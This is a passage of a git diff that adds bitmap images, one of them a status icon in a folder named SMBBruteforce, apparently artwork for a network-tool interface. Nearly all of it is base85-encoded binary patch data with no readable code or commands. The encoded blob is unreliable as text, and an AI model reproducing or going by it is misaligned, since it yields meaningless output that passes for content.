z-b{@>e~=a8ugNEgF}Z;@zM;k=UY!;TW}KC|nT@rz_J@tJj^0HP(J{W5Yt;0vMz+ry z9y=OXLa15oG>wrQFz`@9ML=4KU*fum^ytv&EGe4yL6@d>iA~Sn=H(7OXdV@2<*Fe+ zH2&n`b2w|T8%{-3x%t^#QQ^?=>h8-e66?$!akzU>f{iy6OITZZ_j+RLc3^}tT!Y|( z8tm$$_|CiKl?ZgO04 zI#g=r?c6koDKK;FfL|Kk=jRVKJbo$0DO8Z011>xvYnYecbrHp;C$p6`lM`E{5d;pr zyuEF!Y3yU+c;I*-@nQE9{~Xl)wA1Xmt{4lCqpo>rT2@nzHvxWrFodi6yP#I~_DH?jB95-@ zm6eY@Y?&0};xA6m1DBkTHRV>EEU#G8lj-XFQThPl@%<%nMm{+XSfCra z|Ha4PKDeBsYy1F|_W(~xJ+H0ABo#(GxK019+6|_IvHzaU@xhN$q%nL2c z3w=99dAvYYa8U1Pb>vd;DuXrznUPThmRrEu|7QJu<8(rN4w6j-JWW4L!KYY3UC=KO z7W(4K{+N)awz=+?t6)_Fb`A6ow^B3M-T6d-9@fIge4vp$LJ_zC6+sy}Hb`-LE+{(D z52y!CEX^&d3BWUQO2JkYtn`n2=33k5ZOv@F%%`%#pjL8ttcryE)86^! z=QBVh7{v7KQZ;_*rFpQze&#Xz`mF#BvofFbaqhwnYh!Y76wV-A+x+b9KJoQ7@nP%h zM=vI&ScU3JD-XK_k%Ba3m{OF9~iw zno`PxZ#Ft6R)J|>Z*1zxYeo7JNIgB|^{`KN@n17P2b9z(DHa?xO`WVX&T71rdqjM4esk$1ZwWaFZel{mz9wzq-WeYRM`sdGj zr?-f}XL_gJ!kBr%9vF1$GrN2g&QWEQ<`M!T$Oxa9`Qnp4r{gmeD}lIPZP<^j-14X8^#< z=-Z}>ny&WV;7#}0<#(n^nu81-ihCTo4v6jJ@l|?uVkPhf)jzFGr61 z9Qqht`TZ*35ew`JPg~E>!qSSRiXKuB_HuLrTz1S*Isq$blIwojA<#Z`S-6-9`|t1Wm@ngo^udsZX3hPkHUb%=}+LLI!xd}!@M3Qod$pkn^bEVzFL zBinMn@gVcxnxJ@TQARF85E_OetdpN`owUW1vr=9x0*!;o`J}D=!TP|H7iPeAhIAY= MMk$pkXDX`y1>|%o=Kufz literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce3.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..13eaf41032aae5998046ee299b9ec66bc2182c67 GIT binary patch literal 18462 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 